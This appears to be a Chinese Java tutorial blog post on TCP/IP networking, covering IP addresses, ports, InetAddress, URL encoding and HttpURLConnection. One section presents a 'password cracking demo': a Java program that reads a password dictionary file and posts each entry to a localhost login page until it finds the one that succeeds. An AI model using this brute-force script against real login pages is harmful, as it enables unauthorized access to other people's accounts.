Java学习系列(十六)Java面向对象之基于TCP协议的网络通信

TCP/IP的网络分层模型:应用层(HTTP/FTP/SMTP/POPS...),传输层(TCP协议),网络层(IP协议,负责为网络上节点分配唯一标识),物理层+数据链路层)。

IP地址用于标识网络中的一个通信实体,通常这个实体可以是一台主机,也可以是一台打印机,或者是路由器的某一个端口。而基于IP协议网络中传输的数据包,都必须使用IP地址来进行标识。

IP地址与端口:IP地址就是为网络上的每个物理节点(广义的)分配一个“门牌号”。通过IP地址,可以保证网络上的数据包能正确地找到每个物理节点,但每个物理节点上可能有多个应用程序在同时对外提供服务。端口:每个应用程序在网络上通信时,占用一个端口,相当于“房间号”,端口保证了物理节点的数据包能正确找到对应的应用程序。

端口的约定:(0~65535个端口)
0~1023: 公用端口。80(HTTP)、21(FTP)、110(POP)...
1023~49152:应用程序端口。MySQL:3306;Oracle:1521
49152~65535:动态分配端口。

先了解几个常用的类:
InetAddress:此类表示互联网协议 (IP) 地址。它有两个子类:Inet4Address, Inet6Address。
InetSocketAddress:它代表了IP地址+端口号

Java代码 收藏代码
  1. publicclassTest{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. //InetAddress代表了IP地址
  5. InetAddressaddress=InetAddress.getByAddress(newbyte[]{
  6. (byte)192,(byte)168,0,8});
  7. //打印主机名
  8. System.out.println(address.getHostName());
  9. //打印主机地址
  10. System.out.println(address.getHostAddress());
  11. //测试是否可以达到该地址,有点类似于Ping
  12. System.out.println(address.isReachable(3000));
  13. }catch(Exceptione){
  14. e.printStackTrace();
  15. }
  16. }
  17. }

两个工具类:URLEncoder、URLDecoder。在有些场景,无法传输和存储“非西欧文字”,此时就需要用到URLEncoder。典型的像Cookie,Cookie的值就不能是中文。
举例说明1:

Java代码 收藏代码
  1. publicclassURLEncoderDeCoderUtil{
  2. publicstaticvoidmain(String[]args){
  3. Stringstr="Java学习系列(十六)Java面向对象之基于TCP协议的网络通信";
  4. try{
  5. //对字符进行编码
  6. str=URLEncoder.encode(str,"GBK");
  7. System.out.println(str);
  8. //对字符进行解码
  9. System.out.println(URLDecoder.decode(str,"GBK"));
  10. }catch(UnsupportedEncodingExceptione){
  11. e.printStackTrace();
  12. }
  13. }
  14. }

URL:代表一个网络地址。
URLConnection:代表与网络地址的连接。
HttpURLConnection:基于HTTP协议的网络连接。

举例说明2:

Java代码 收藏代码
  1. publicclassTest{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. URLurl=newURL("http://localhost:8080/test/index.jsp");
  5. System.out.println("协议:"+url.getProtocol());
  6. System.out.println("主机:"+url.getHost());
  7. System.out.println("端口:"+url.getPort());
  8. System.out.println("资源文件:"+url.getFile());
  9. //建立于远程URL地址之间的连接,
  10. //当我们的协议用的是http时,打开的连接实际上就是HttpURLConnection
  11. HttpURLConnectionconn=(HttpURLConnection)url.openConnection();
  12. conn.connect();//建立于远程服务器的连接
  13. BufferedReaderbr=newBufferedReader(newInputStreamReader(
  14. conn.getInputStream()));
  15. Stringline=null;
  16. //读取页面资源
  17. while((line=br.readLine())!=null){
  18. System.out.println(line);
  19. }
  20. }catch(IOExceptione){
  21. e.printStackTrace();
  22. }
  23. }
  24. }

破解密码简单演示:

1)准备密码字典:password.txt (文件每行随便写上几个密码就行)
2)登录页面片段:

Html代码 收藏代码
Html代码 收藏代码
  1. <formaction="loginPro.jsp"method="post">
  2. 用户名:
  3. <inputname="username"type="text"/>
  4. 密码:
  5. <inputname="passwd"type="password"/>
  6. <br/>
  7. <inputtype="submit"value="登录"/>
  8. <inputtype="reset"value="取消"/>
  9. <br/>
  10. </form>

3)登录处理页面片段:

Java代码 收藏代码
  1. <%
  2. Stringusername=request.getParameter("username");
  3. Stringpasswd=request.getParameter("passwd");
  4. if(username.equals("liu")&&passwd.equals("123")){
  5. out.print("登录成功!");
  6. }else{
  7. out.print("登录失败!");
  8. }
  9. %>


4).程序实现代码:

【注意】连接要设置相应属性。可以打开Google浏览器进入处理页面后,按CTRL+SHIFT+I,将看到:

Java代码 收藏代码
  1. publicclassTest{
  2. publicstaticvoidmain(String[]args){
  3. try{
  4. URLurl=newURL("http://localhost:8888/test/loginPro.jsp");
  5. BufferedReaderbr=newBufferedReader(newInputStreamReader(
  6. newFileInputStream("f:/password.txt")));
  7. Stringpasswd=null;
  8. while((passwd=br.readLine())!=null){
  9. //每次读取一行(字典文件),创建一次连接
  10. HttpURLConnectionconn=(HttpURLConnection)url
  11. .openConnection();
  12. conn
  13. .setRequestProperty("Accept",
  14. "application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
  15. conn.setRequestProperty("Accept-Encoding","gzip,deflate,sdch");
  16. conn.setRequestProperty("Connection","keep-alive");
  17. conn.setDoInput(true);
  18. conn.setDoOutput(true);
  19. //打开远程输出流,准备向服务器发送请求参数
  20. PrintStreamps=newPrintStream(conn.getOutputStream());
  21. ps.print("username=liu&passwd="+passwd);
  22. ps.flush();
  23. //从远程服务器读取响应
  24. BufferedReaderbr2=newBufferedReader(newInputStreamReader(
  25. conn.getInputStream()));
  26. Stringline=null;
  27. while((line=br2.readLine())!=null){
  28. if(line.contains("登录成功")){
  29. System.out.println("正确的密码为:"+passwd);
  30. }
  31. }
  32. }
  33. }catch(IOExceptione){
  34. e.printStackTrace();
  35. }
  36. }
  37. }

TCP协议:它是一种可靠的端对端的协议。这是因为它为两台计算机之间的连接起了重要的作用:当一台计算机需要与另一台计算机连接时,TCP协议会让它们建立一个连接 用于发送和接收数据的虚拟链路。TCP协议保证了数据包在传送中准备无误。

TCP协议使用重发机制:当一个通信实体发送一个消息给另一个通信实体后,需要收到另一个通信实体确认信息,如果没有收到另一个通信实体的确认信息,则会再次重发刚才发送的信息。通过这个重发机制,TCP协议向应用程序提供可靠的通信连接,使它能够自动适应网上的各种变化,即使在Internet暂时出现阻塞的情况下,TCP也能够保证通信的可靠。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值